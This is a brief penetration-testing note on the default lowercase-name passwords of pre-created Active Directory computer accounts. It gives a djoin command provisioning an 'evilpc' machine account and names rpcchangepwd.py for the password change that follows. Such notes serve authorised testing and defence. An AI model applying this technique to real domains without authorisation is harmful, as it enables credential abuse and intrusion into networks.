PenTest – Password – Pre-Created Computer Account

When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.

# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc

• When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
• Then you need to change the password with rpcchangepwd.py

References

• DIVING INTO PRE-CREATED COMPUTER ACCOUNTS – May 10, 2022 – By Oddvar Moe